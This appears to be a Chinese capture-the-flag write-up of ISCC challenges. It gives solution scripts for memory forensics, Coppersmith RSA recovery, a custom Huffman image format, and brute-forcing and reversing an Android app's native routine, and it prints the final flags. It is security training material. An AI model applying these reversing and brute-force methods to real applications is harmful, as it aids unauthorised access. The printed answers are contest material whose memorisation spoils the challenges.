HFLAGSNS0T1SNSNFLAGT1SNT1SNT1THT1S0HHTHTHSNS0S0N0SNTHTHHHTHHTHSNHFLAGT1S0S0N0T1THN0T1SNFLAGFLAGS0N0THHT1T1FLAGN0N0FLAGHN0FLAGT1S0FLAGT1N0N0SNN0N0SNN0HSNT1HS0T1N0THHHFLAGTHHSNFLAGHHS0FLAGT1THFLAGTHSNTHHS0FLAGHSNHTHTHTHS0THTHN0T1T1THS0T1T1THFLAGN0HT1FLAGSNSNN0S0FLAGT1T1THT1SNFLAGHT1FLAGSNS0SNSNHS0T1N0T1THN0N0N0N0THN0THTHHTHSNHS0FLAGT1N0THHT1FLAGSNS0S0HT1T1FLAGN0HS0SNTHHS0FLAGSNT1SNT1THFLAGTHHTHSNS0N0S0SNFLAGTHTHFLAGSNT1S0T1THFLAGT1SNTHTHT1T1S0THSNS0THTHFLAGN0FLAGT1THT1HTHT1THTHT1THHT1N0S0FLAGTHN0S0THS0FLAGTHSNSNTHS0FLAGS0SNT1SNSNT1HN0FLAGN0T1THFLAGHT1T1FLAGSNTHSNFLAGHT1N0T1T1N0SNT1FLAGT1SNT1T1T1FLAGT1T1FLAGN0T1HT1T1SNFLAGFLAGSNT1SNT1HS0THTHT1FLAGHT1FLAGTHT1SNSNHFLAGTHTHFLAGTHS0SNT1SNTHFLAGSNSNT1FLAGN0THT1THTHT1HSNT1S0T1T1FLAGN0THT1SNS0N0HS0FLAGT1T1FLAGTHTHHHT1FLAGT1T1T1SNHN0THN0S0THT1T1FLAGFLAGT1HT1FLAGS0S0FLAGSNT1HT1T1T1HTHHN0T1S0S0T1FLAGTHT1FLAGSNHTHFLAGSNN0S0S0HSNFLAGT1THTHT1T1N0FLAGTHT1FLAGSNSNFLAGHT1THT1T1FLAGSNHTHS0SNSNN0T1T1T1T1T1HT1N0HN0T1T1HN0FLAGT1FLAGTHTHFLAGT1T1FLAGT1HFLAGT1HN0T1SNFLAGT1S0SNTHS0THT1THSNFLAGT1T1HFLAGS0S0N0T1T1T1THHT1N0THT1S0S0SNT1THT1FLAGT1T1THS0HSNS0THFLAGTHN0FLAGT1S0S0SNTHTHS0HS0SNSNN0S0SNN0T1T1SNHHFLAGHS0THFLAGHSNT1T1FLAGTHN0FLAGHS0FLAGT1HN0S0T1FLAGSNTHFLAGHTHT1FLAGHHSNTHT1T1THFLAGTHT1THS0T1HHSNHT1HTHT1N0THT1T1FLAGN0SNHN0THFLAGN0N0FLAGSNT1S0HTHFLAGSNSNS0T1THT1THN0THFLAGS0N0N0T1S0N0FLAGTHHHFLAGHHS0S0SNN0S0T1HT1N0FLAGN0SNS0T1THFLAGSNS0THS0HFLAGN0T1SNTHTHTHFLAGS0THSNT1THN0FLAGS0THTHT1HSNS0SNSNSNT1N0FLAGS0N0T1THHN0SNT1SNS0HT1HHT1T1T1T1HTHSNT1S0SNT1S0T1HT1T1T1HT1THTHFLAGT1T1T1THTHTHS0T1THSNTHS0T1HHTHS0FLAGSNT1FLAGHTHT1FLAGT1SNHT1S0SNS0THSNSNFLAGT1T1T1SNSNFLAGT1T1THTHTHSNN0THTHN0T1S0S0HT1T1N0FLAGT1N0T1T1N0S0HT1N0HS0T1SNTHHTHHTHHHFLAGSNSNHT1N0T1T1S0FLAGT1T1THFLAGTHFLAGN0THSNT1SNFLAGN0THSNSNTHTHSNT1T1S0THFLAGT1SNTHTHHSNSNT1FLAGTHTHS0SNSNFLAGTHT1SNFLAGT1THT1S0S0THN0THN0FLAGTHT1T1FLAGTHTHT1HS0HSNTHSNS0T1N0THN0FLAGTHN0T1THHFLAGS0T1FLAGTHT1HN0THHHS0THT1T1T1FLAGN0FLAGTHTHFLAGT1N0FLAGT1HTHSNT1N0SNN0FLAGT1N0N0N0S0T1T1HTHN0THFLAGTHT1T1FLAGSNHT1S0T1N0T1HTHTHFLAGN0HS0T1THFLAGTHT1FLAGTHT1FLAGN0N0FLAGSNN0S0FLAGFLAGTHSNSNTHSNHFLAGHT1T1SNHN0SNT1T1SNS0SNT1N0FLAGSNTHFLAGTHS0SNT1THFLAGT1THHTHT1T1SNN0SNFLAGTHT1HHS0T1S0S0S0HHSNSNTHT1SNT1N0THFLAGS0HFLAGT1S0T1SNSNFLAGS0S0FLAGT1T1THT1S0SNHTHFLAGN0SNT1FLAGT1THT1FLAGT1THTHTHHN0FLAGT1HFLAGTHSNFLAGS0N0T1THSNFLAGSNSNN0SNSNSNFLAGFLAGT1THN0FLAGTHTHT1T1THSNTHT1SNTHTHFLAGTHT1SNS0SNFLAGTHT1THHS0FLAGN0SNT1S0T1THSNS0THT1SNT1FLAGFLAGHT1S0FLAGT1SNFLAGS0THSNTHN0SNHTHFLAGTHSNTHN0SNT1THTHFLAGT1S0THHTHTHSNTHSNS0HSNHT1THSNS0THSNT1T1T1T1N0THTHS0S0T1T1S0T1HTHT1THN0THSNFLAGSNT1SNTHTHTHFLAGN0N0T1THT1T1HT1HSNT1N0HT1S0THTHTHFLAGT1T1FLAGSNHFLAGN0HT1THTHFLAGTHS0T1S0SNTHTHT1THT1T1T1FLAGT1T1T1HT1S0THHHHSNT1THT1T1T1FLAGT1T1HT1HT1THSNN0HT1T1HTHTHTHHT1THT1T1T1N0FLAGHN0FLAGS0T1FLAGT1THTHT1T1THS0THFLAGT1T1SNFLAGFLAGS0T1THTHSNTHHSNTHFLAGN0THTHN0T1FLAGT1HFLAGSNTHFLAGT1
然后进行词频分析
得到:TH1SN0GLFAG
然后分析解密出来的结果发现,所有的flag字样都是在一个二维码内,然后将flag二维码全部扫描打印信息,发现在每一个文件夹内不是1.png就是2.png
然后根据题目猜测是莫斯密码,将1转为.2转为-得到七位二进制
然后解码得到:NyqgE0TddlwxLpK/g6514s2I6hQt1xNxdmmKYriUGiI=
然后解AES,key为:th1sn0glfag
得到flag
ඞ
给了个内存镜像,使用volatility桌面上找到一个solve.zip,一个hint.txt
命令:python2 vol.py -f 1.raw –profile=Win7SP1x64 filescan | grep Desktop
在hint.txt中得到提示,四个玩家一场游戏
压缩包密码是伪装者的名字
然后在Documents目录下可以找到个out9.pcap,导出来
然后在流量包中找到了amongus字符串
然后发现这个是太空狼人杀的游戏
题目还给了游戏的配置文件,逆一下plugins下的dll文件,搜一下发现能搜到伪装者
在同级的目录下找到password
psswd:susofyou
解开压缩包得到solve.py
amongus流量加上插件后解析
code为SRLBOW
voted为ISCC
howtowin crew_vote
tasks_num 2
import hashlib
#analyze the .pcap answer the question
code = 'SRLBOW' #join the game's Game code(eg:ABCD)
voted = 'ISCC'#who was voted in this game(the game's name)(eg:dingzhen)
howtowin = 'crew_vote'#how win this game?choose:(crew_vote/crew_task/imp_vote/imp_task/imp_disconnect/crew_disconnect)(eg:imp_task)
tasks_num = '2'#how many tasks were done?(eg:5)
flag = hashlib.md5((code+voted+howtowin+tasks_num).encode()).hexdigest()#eg:md5('ABCDdingzhenimp_task5') = ca90ed3a8c98ef30af3b44643de8512e
print(f'your flag is ISCC{{{flag}}}')#eg:your flag is ISCC{ca90ed3a8c98ef30af3b44643de8512e}
运行得到flag
G9的钢琴曲
解压得到一个py脚本和一个压缩包,先解py
from Crypto.Util.number import *
# from libnum import *
out =[(2172252055704676687457456207934570002654428519127702486311980109116704284191676330440328812486703915927053358543917713596131304154696440247623888101060090049, 2108637380559167544966298857366809660819309447678518955440217990535095703498823529603132157555536540927898101378853427638496799467186376541583898176373756917, 1103840869050032098984210850630584416814272073121760519116633450832540460407682739594980752914408375293588645043889636184344774987897378026909963273402766561), (2000124088829445641229622245114189828522912764366697463519930724825924163986998694550757186794149331654420524788899548639866463311104678617705042675360057243, 1665549488322348612920659576773850703765765307223600084262385091708189142517147893842872604879786471376822691498663100028754092239272226011616462859779271025, 990627294315894701092445987317798430568264256978762186489740206376279178571289900941886873570710241025125621594301020499270029956301204583788447662869037315), (1303516450844607175859180241406482278674954250245197644105258810912430306740632927947088058701010631209652921073238771523431247167608544636294883977018097199, 1119758042346732592435539174564881640374540951155805649314246375263320107846465196580695284748429608544175058830657524095385658523219250943378976577225782230, 598915905620934628053505443816290720352232457144997188593150390072666051798491983452700635551081569466232682512362475354896855707688259553722701065491789402), (2463333340881549805545364706970314608937871808508385657282029236077808399479795853056347857164089991597487727014937851894809199639758978587612411591527423763, 673590616457425981268507673967667728811152404125286063856277932080928372715113304373395326309595915550999528364692493169822993967220858400311382215177833045, 208198360150172881237486434064181246031019081636219908755237161625039285165750040108367852136975511290424988781713799103150982065579123496034803730006273360)]
# clean data
ns = [o[0] for o in out]
rs = [o[1] for o in out]
cs = [o[2] for o in out]
# calculate T_i for each polynomial
calcT = lambda idx : crt([0 if i != idx else 1 for i in range(4)], ns)
# calculate Ts
T = [calcT(i) for i in range(len(ns))]
# print(T)
#下面就是calcT函数的意义
# print(crt([1,0,0,0],ns))
# print(crt([0,1,0,0],ns))
# print(crt([0,0,1,0],ns))
# print(crt([0,0,0,1],ns))
# construct the final polynomial
f = 0
P.<x> = PolynomialRing(Zmod(prod(ns)))
# use pad to add known bits
pad = bytes_to_long(b'ISCC' + b'\x00' * 59)
m = x + pad
# construct g(x)
for i in range(4):
f += T[i] * (m^4 + 3*m^2 + rs[i]*m - cs[i])
root = f.small_roots(X=2^472, epsilon=0.03)[0]
m = m(root)
print(long_to_bytes(int(m)))
#ISCC_Y0u_R3alLy_KnOw_CoPPersm1th
得到压缩包密码为:ISCC_Y0u_R3alLy_KnOw_CoPPersm1th
hint.txt解二进制为:WRHJC?WJTDJTKNA?
rar看着是cloakify
直接用自带的密码库解
python2 decloakify.py music.rar ./ciphers/desserts > 1.wav
后面的-和+用01替换解二进制
得到flag
ISCC{Congr4tulations_on_complet1ng_th1s_ch4llenge}
BNG
通过对比可以得知BNG文件头与PNG相似,组成部分是BNG和宽高位深度数据,以及每一块之前都有4字节来提示这个块的大小
颜色块很明显是bzip压缩得来的,解压后可以发现与jpg的颜色块很相似,因此得知这里使用了范式huffman压缩算法来压缩颜色数据
同时,每个大块是以四个字节的00来分割的,并在最后的颜色块与结尾块之间留了一位隐写位
先解前置的范式
from tqdm import tqdm
from typing import Dict, List, Tuple
def int_to_bytes(n: int) -> bytes:
"""返回整数对应的二进制比特串 例如 50 -> b'\x50'"""
return bytes([n])
class Node:
"""Node结点,用于构建二叉数"""
def __init__(self, value, weight, lchild, rchild):
self.value = value
self.weight = weight
self.lchild = lchild
self.rchild = rchild
class Huffman:
"""Huffman编码"""
@staticmethod
def bytes_fre(bytes_str: bytes):
"""统计目标文本的字符频数, 返回频数字典
例如b'\x4F\x56\x4F' -> {b'\x4F':2, b'\x56':1}
"""
fre_dic = [0 for _ in range(256)]
for item in bytes_str:
fre_dic[item] += 1
return {int_to_bytes(x): fre_dic[x] for x in range(256) if fre_dic[x] != 0}
@staticmethod
def build(fre_dic: Dict[bytes, int]) -> Dict[bytes, str]:
"""通过字典构建Huffman编码,返回对应的编码字典
例如 {b'\x4F':1, b'\x56':1} -> {b'\x4F':'0', b'\x56':'1'}
"""
def dlr(current: Node, huffman_code: str, _huffman_dic: Dict[bytes, str]):
"""递归遍历二叉树求对应的Huffman编码"""
if current is None:
return
else:
if current.lchild is None and current.rchild is None:
_huffman_dic[current.value] = huffman_code
else:
dlr(current.lchild, huffman_code + '0', _huffman_dic)
dlr(current.rchild, huffman_code + '1', _huffman_dic)
if not fre_dic:
return {}
elif len(fre_dic) == 1:
return {value: '0' for value in fre_dic.keys()}
# 初始化森林, 权重weight小的在后
node_lst = [Node(value, weight, None, None)
for value, weight in fre_dic.items()]
node_lst.sort(key=lambda item: item.weight, reverse=True)
# 构建Huffman树
while len(node_lst) > 1:
# 合并最后两棵树
node_2 = node_lst.pop()
node_1 = node_lst.pop()
node_add = Node(None, node_1.weight +
node_2.weight, node_1, node_2)
node_lst.append(node_add)
# 调整森林
index = len(node_lst) - 1
while index and node_lst[index - 1].weight <= node_add.weight:
node_lst[index] = node_lst[index - 1]
index = index - 1
node_lst[index] = node_add
# 获取Huffman编码
huffman_dic = {key: '' for key in fre_dic.keys()}
dlr(node_lst[0], '', huffman_dic)
return huffman_dic
@classmethod
def to_canonical(cls, huffman_dic: Dict[bytes, str]) -> Dict[bytes, str]:
"""将Huffman编码转换成范氏Huffman编码"""
code_lst = [(value, len(code)) for value, code in huffman_dic.items()]
code_lst.sort(key=lambda item: (item[1], item[0]), reverse=False)
value_lst, length_lst = [], []
for value, length in code_lst:
value_lst.append(value)
length_lst.append(length)
return cls.rebuild(value_lst, length_lst)
@staticmethod
def rebuild(char_lst: List[bytes], length_lst: List[int]) -> Dict[bytes, str]:
"""以范氏Huffman的形式恢复字典"""
huffman_dic = {value: '' for value in char_lst}
current_code = 0
for i in range(len(char_lst)):
if i == 0:
current_code = 0
else:
current_code = (
current_code + 1) << (length_lst[i] - length_lst[i - 1])
huffman_dic[char_lst[i]] = bin(current_code)[
2::].rjust(length_lst[i], '0')
return huffman_dic
@staticmethod
def decode(str_bytes: bytes, huffman_dic: Dict[bytes, str], padding: int, visualize: bool = False):
"""Huffman解码
输入待编码文本, Huffman字典huffman_dic, 末端填充位padding
返回编码后的文本
"""
if not huffman_dic: # 空字典,直接返回
return b''
elif len(huffman_dic) == 1: # 字典长度为1,添加冗余结点,使之后续能够正常构建码树
huffman_dic[b'OVO'] = 'OVO'
# 初始化森林, 短码在前,长码在后, 长度相等的码字典序小的在前
node_lst = [Node(value, weight, None, None)
for value, weight in huffman_dic.items()]
node_lst.sort(key=lambda _item: (
len(_item.weight), _item.weight), reverse=False)
# 构建Huffman树
while len(node_lst) > 1:
# 合并最后两棵树
node_2 = node_lst.pop()
node_1 = node_lst.pop()
node_add = Node(None, node_1.weight[:-1:], node_1, node_2)
node_lst.append(node_add)
# 调整森林
node_lst.sort(key=lambda _item: (
len(_item.weight), _item.weight), reverse=False)
# 解密文本
read_buffer, buffer_size = [], 0
# 生成字符->二进制列表的映射
dic = [list(map(int, bin(item)[2::].rjust(8, '0')))
for item in range(256)]
# 将str_bytes转化为二进制列表
for item in str_bytes:
read_buffer.extend(dic[item])
buffer_size = buffer_size + 8
read_buffer = read_buffer[0: buffer_size - padding:]
buffer_size = buffer_size - padding
write_buffer = bytearray([])
current = node_lst[0]
for pos in tqdm(range(0, buffer_size, 8), unit='byte', disable=not visualize):
for item in read_buffer[pos:pos + 8]:
# 根据二进制数移动current
if item:
current = current.rchild
else:
current = current.lchild
# 到达叶结点,打印字符并重置current
if current.lchild is None and current.rchild is None:
write_buffer.extend(current.value)
current = node_lst[0]
return bytes(write_buffer)
@staticmethod
def encode(str_bytes: bytes, huffman_dic: Dict[bytes, str], visualize: bool = False) -> Tuple[bytes, int]:
"""Huffman编码
输入待编码文本, Huffman字典huffman_dic
返回末端填充位数padding和编码后的文本
"""
bin_buffer = ''
padding = 0
# 生成整数->bytes的字典
dic = [int_to_bytes(item) for item in range(256)]
# 将bytes字符串转化成bytes列表
read_buffer = [dic[item] for item in str_bytes]
write_buffer = bytearray([])
# 循环读入数据,同时编码输出
for item in tqdm(read_buffer, unit='byte', disable=not visualize):
bin_buffer = bin_buffer + huffman_dic[item]
while len(bin_buffer) >= 8:
write_buffer.append(int(bin_buffer[:8:], 2))
bin_buffer = bin_buffer[8::]
# 将缓冲区内的数据填充后输出
if bin_buffer:
padding = 8 - len(bin_buffer)
bin_buffer = bin_buffer.ljust(8, '0')
write_buffer.append(int(bin_buffer, 2))
return bytes(write_buffer), padding
class OVO:
VERBOSE = 0b10 # -v 显示进度
@classmethod
def decode_as_huffman(cls, str_bytes: bytes, mode: int):
"""以huffman编码解码
输入byte串,返回解码后的byte串"""
padding = str_bytes[0]
max_length = str_bytes[1]
length = list(str_bytes[2:2 + max_length:])
char_num = sum(length)
# 如果length全零,那么表示256个字符全在同一层
if char_num == 0 and max_length != 0:
char_num = 256
length[max_length - 1] = 256
# 计算出还原huffman码表所需的信息
char_lst, length_lst = [], []
for pos in range(2 + max_length, 2 + max_length + char_num):
char_lst.append(int_to_bytes(str_bytes[pos]))
for i in range(max_length):
length_lst.extend([i + 1] * length[i])
# 重构码表
code_dic = Huffman.rebuild(char_lst, length_lst)
# huffman解码
str_bytes = str_bytes[2 + max_length + char_num::]
write_buffer = Huffman.decode(
str_bytes, code_dic, padding, bool(mode & cls.VERBOSE))
return write_buffer
@classmethod
def encode_as_huffman(cls, str_bytes: bytes, mode: int):
"""以huffman编码的形式编码文件
输入bytes串,返回编码后的比特串"""
fre_dic = Huffman.bytes_fre(str_bytes)
code_dic = Huffman.build(fre_dic)
code_dic = Huffman.to_canonical(code_dic)
max_length = 0
for code in code_dic.values():
max_length = max(max_length, len(code))
length_lst = [0 for _ in range(max_length + 1)]
for code in code_dic.values():
length_lst[len(code)] += 1
# 要是256个字符全部位于同一层,使用全零标记
if length_lst[max_length] == 256:
length_lst[max_length] = 0
length_lst.pop(0) # 码长为0的字符并不存在,故删去
# 将码表信息转化成bytes类型
code_bytes = b''.join(code_dic.keys())
length_bytes = b''.join(map(int_to_bytes, length_lst))
# huffman编码
temp_buffer, padding = Huffman.encode(
str_bytes, code_dic, bool(mode & cls.VERBOSE))
# 合并结果
code_data = int_to_bytes(max_length) + length_bytes + code_bytes
write_buffer = int_to_bytes(padding) + code_data + temp_buffer
return write_buffer
@classmethod
def decode(cls, fp_in, mode: int = 0):
fp_out = cls.decode_as_huffman(fp_in, mode)
return fp_out
@classmethod
def encode(cls, fp_in, mode: int = 0):
fp_out = cls.encode_as_huffman(fp_in, mode)
return fp_out
然后就是bng转png
from OVO import OVO
from PIL import Image
import bz2
def bng2png(bngfile, pngfile):
data = open(bngfile, 'rb').read()
width, height = int.from_bytes(
data[8:12], 'big'), int.from_bytes(data[12:16], 'big')
pngimg = Image.new('RGB', (width, height))
collen = int.from_bytes(data[21:25], 'big')
col = OVO.decode(bz2.decompress(data[25:25+collen]), False)
for y in range(height):
for x in range(width):
pngimg.putpixel((x, y), (col[0], col[1], col[2]))
col = col[3:]
pngimg.save(pngfile)
def getsecret(bngfile):
data = open(bngfile, 'rb').read()
collen = int.from_bytes(data[21:25], 'big')
secret = data[25+collen:25+collen+1].decode()
return secret
secret = ''
for i in range(471):
bngfile = 'bngs/' + str(i) + '.bng'
pngfile = 'decimg/' + str(i) + '.png'
bng2png(bngfile, pngfile)
secret += getsecret(bngfile)
print(secret)
同时得到隐写的数据
Vm1wR2EwNUhTWGxVYms1cFRUSjRWbFl3WkRSWFJteHpZVVZPYWxadGVIcFdNbmgzWVRBeFZrNVdaRnBXVmxwUVdWVmFTbVF3TVZWWGJHUlRUVEJLVVZkV1dsWmtNbEY1Vkd0c1ZHSkdXazlaYlhSTFpVWmFSMWR0Um1waVZscFlWako0VjFWdFJqWmlTRUpYWWtkb1JGcFhlR0ZTVmtaelZHMXNhR1ZzV2toV1JscHZVakZhYzFwRmJGSmlSVXBoVm1wT1QwMHhVbGRYYkU1clVsUkdWMVJzWkRSV01WcEhWMnh3VjJFeGNGUldha1pyWkVaS2RWTnNhR2xpUlhCWFYxY3dNVkV5UmtkaVJtUlhWMGRvVUZscmFFTlRWbkJKWWpOa1VWVlVNRGs9
解base64后得到:my secret password:75ce46be8882436396c25c9b1f76b37e
将图片的数值提取出来为压缩包的十六进制数据
用得到的password解压缩包得到flag
听你心跳里的狂
首先拿到一个ogg音频文件和一个flaggg文件,flaggg文件16进制数据是个乱码,但根据其长度恰好为10mb,猜测是VC容器,将ogg音频文件作为密钥文件成功挂载
在文件末尾得到一串字符
用rot13+rot47解码
发现是md5
解密得到字符串:Logistic
解压缩包得到png文件,将其十六进制数据异或0x15得到png
然后在这里发现flag
Brain Games
这里将表情替换回来解码
得到:Peace_And_Love
得到图片
看底下数字键盘可以猜到是数字键盘密码,中间6个弹孔对应6位长度和顺序,顺序是依照子弹裂痕,后发的裂痕会在碰到前发的裂痕后停止,得到顺序是570831
然后解lsb
8ae511cd0026edf90ced84dd12f6d1d30fe3e486131c31501300014b2bacb4d202
然后解hex 加密base85得到flag
Guess!Where?
解压得到压缩包和password
压缩包需要密码
txt的内容为:U1H0YHwVXogMWWQIWX5dY0gCPoUOXoMAVHXcYHgRXoUKZYsXUX1NX0gIZnUGSW09
看着像base64但是解不开
先解caesar3,R1E0VEtSUldJTTNFTU5aV0dZMlRLUlJXSEUzVEdOUlRHWVpURU1KU0dFWkRDPT09
然后解base64
GQ4TKRRWIM3EMNZWGY2TKRRWHE3TGNRTGYZTEMJSGEZDC===
再解base32
495F6C6F76655F69736363212121
然后解hex
I_love_iscc!!!
解压缩包,按照修改日期排序,发现ISC23跑到了01中
然后分析内容发现,里面的数字是根据二十六个字母的位置来打印的
然后,每个文件的值解析出来后面都有flag的结尾,然后将flag的结尾去掉C读取两次得到flag
ISCC{ilikeiscchowaboutyou}
ANDROID
mobile1
分析代码
这里发现是调用的so文件加密,并且在调用so文件之前先调用的a函数对flag进行加密然后分析so文件发现代码逻辑有点奇怪,然后尝试直接调用so文件
这里经过尝试发现当长度不对的时候会返回wrong
然后经过测试当长度为21的时候会返回一个字符串
发现返回字符串长度为30
然后猜测返回字符串与传入字符串存在某种映射关系
经过修改传入参数,发现前七位与返回的前十位有映射关系,然后经过测试发现传入的字符串的7位为一组,然后返回的结果十位为一组为一一映射的关系
然后修改传入参数,前四位发现返回值修改了五位
所以可以爆破
这里保守起见,先爆破前半部分,因为传入的参数的每一段为奇数,返回的每一段为偶数,所以直接爆破的话可能会有写些错误
所以爆破前半部分也就是每一段的前四位,得到与密文字符串同样的结果的时候取爆破出来的前三个值,然后再次爆破后四位,这样就避免了出错
代码如下:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String key = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";
int len = key.length();
String str2 = "PNSKQE";
String jni_str[] = {"SiPG1", "Dw83f", "SrgJN", "94w3N", "N6h96", "Mbw8d"};
String jni_str1[] = {"SiPG1Dw83f", "SrgJN94w3N", "N6h96Mbw8d"};//SiPG1Dw83fSrgJN94w3NN6h96Mbw8d
String jni_true = "";
String jni[] = {"", "", ""};
String jni_finally[] = {"", "", ""};
//String text = com.example.mobile1.MainActivity.stringFromJNI("1234efghijklmnopqrstu",str2);
//Log.d("yyz",text);
for (int i1 = 0; i1 < len; i1++) {
if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
break;
}
for (int i2 = 0; i2 < len; i2++) {
if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
break;
}
for (int i3 = 0; i3 < len; i3++) {
if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
break;
}
for (int i4 = 0; i4 < len; i4++) {
if(!jni[0].equals("") && !jni[1].equals("") && !jni[2].equals("")){
break;
}
jni_true = "" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4)+"123";
String tmp = jni_true + jni_true + jni_true + jni_true;
String ret = com.example.mobile1.MainActivity.stringFromJNI(tmp, str2);
if (ret.substring(0, 5).equals(jni_str[0])) {
jni[0] = jni_true.substring(0, 3);
}
if (ret.substring(10, 15).equals(jni_str[2])) {
jni[1] = jni_true.substring(0, 3);
}
if (ret.substring(20, 25).equals(jni_str[4])) {
jni[2] = jni_true.substring(0, 3);
}
}
}
}
}for(int i = 0; i < 3; i++){
Log.d("yyz_jni",jni[i]);
}
}
然后得到如下的返回值
然后修改代码继续爆破后半部分
Log.d("yyz","start");
for (int i1 = 0; i1 < len; i1++) {
if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
break;
}
for (int i2 = 0; i2 < len; i2++) {
if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
break;
}
for (int i3 = 0; i3 < len; i3++) {
if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
break;
}
for (int i4 = 0; i4 < len; i4++) {
if(!jni_finally[0].equals("") && !jni_finally[1].equals("") && !jni_finally[2].equals("")){
break;
}
String jni_true1 = "" + "CV2" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4);
String jni_true2 = "" + "G6C" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4);
String jni_true3 = "" + "353" + key.charAt(i1) + key.charAt(i2) + key.charAt(i3) + key.charAt(i4);
String tmp = jni_true1 + jni_true2 + jni_true3;
//Log.d("tmp",tmp);
String ret = com.example.mobile1.MainActivity.stringFromJNI(tmp, str2);
if (ret.substring(0, 10).equals(jni_str1[0])) {
jni_finally[0] = jni_true1;
Log.d("yyz_1",jni_true1);
}
if (ret.substring(10, 20).equals(jni_str1[1])) {
jni_finally[1] = jni_true2;
Log.d("yyz_2",jni_true2);
}
if (ret.substring(20, 30).equals(jni_str1[2])) {
jni_finally[2] = jni_true3;
Log.d("yyz_3",jni_true3);
}
}
}
}
}
for(int i = 0; i < 3; i++){
Log.d("yyz_jni_finally",jni_finally[i]);
}
得到返回值如下:
这样就得到了经过a函数加密之后的字符串为:CV2#67CG6CSF23353F7#7
然后就是对a函数进行逆向
通过这里可以猜测flag的长度为12,14,16位
先看a函数,这里是调用b函数,然后调用b类的a函数,最后调用c函数
b函数就是将输入的字符串转为十六进制数据,然后每个数据用0分开
b类的a函数就是将输入字符串给分割开,其映射关系如下
其中非选中的3为0的转化,上面为str2,下面为str3
将其拼接然后在每两个字符中插入两个0然后传入c函数
c函数就是将00去掉,然后将数字转为字符返回
所以逆向脚本如下:
s = b"CV2#67CG6CSF23353F7#7"
b = ""
for i in s:
b += (hex(i)[2::])
print(b)
str2 = b[0:len(b)//2]
str3 = b[len(b)//2::]
flag = ""
for i in range(len(str2)):
if(i % 3 == 0):
flag += str2[i]
elif(i % 3 == 1):
flag += str3[i]
else:
flag += str3[i] + str2[i]
print(flag)
for i in range(0,len(flag),2):
print(chr(eval('0x'+flag[i]+flag[i+1])),end="")
所以flag为:ISCC{Deb2#3e7Ddw&Cu}
KitKat
分析代码
这里是先对用户名进行了加密,密文为:V[+:`5@OM=#&qOQU
加密方式就是简单的异或
public static void main(String[] args) {
String encryptedString = "V[+:`5@OM=#&qOQU";
byte[] key = {123, -83, 46, 105, 63, 66, -111, 117, -126, -15, 106, 23, -16};
byte[] encryptedBytes = encryptedString.getBytes();
byte[] decryptedBytes = new byte[encryptedBytes.length];
for (int i = 0; i < encryptedBytes.length; i++) {
decryptedBytes[i] = (byte) (encryptedBytes[i] ^ key[i % key.length]);
}
String decryptedString = new String(decryptedBytes);
System.out.println("Decrypted string: " + decryptedString);
}
得到账号为:BAI2021090801
然后分析so文件的函数
找到加密函数
经过分析得到密码
最后程序中过掉判断即可得解
flag{cb3516da155b64b0a4139d5339190c3c}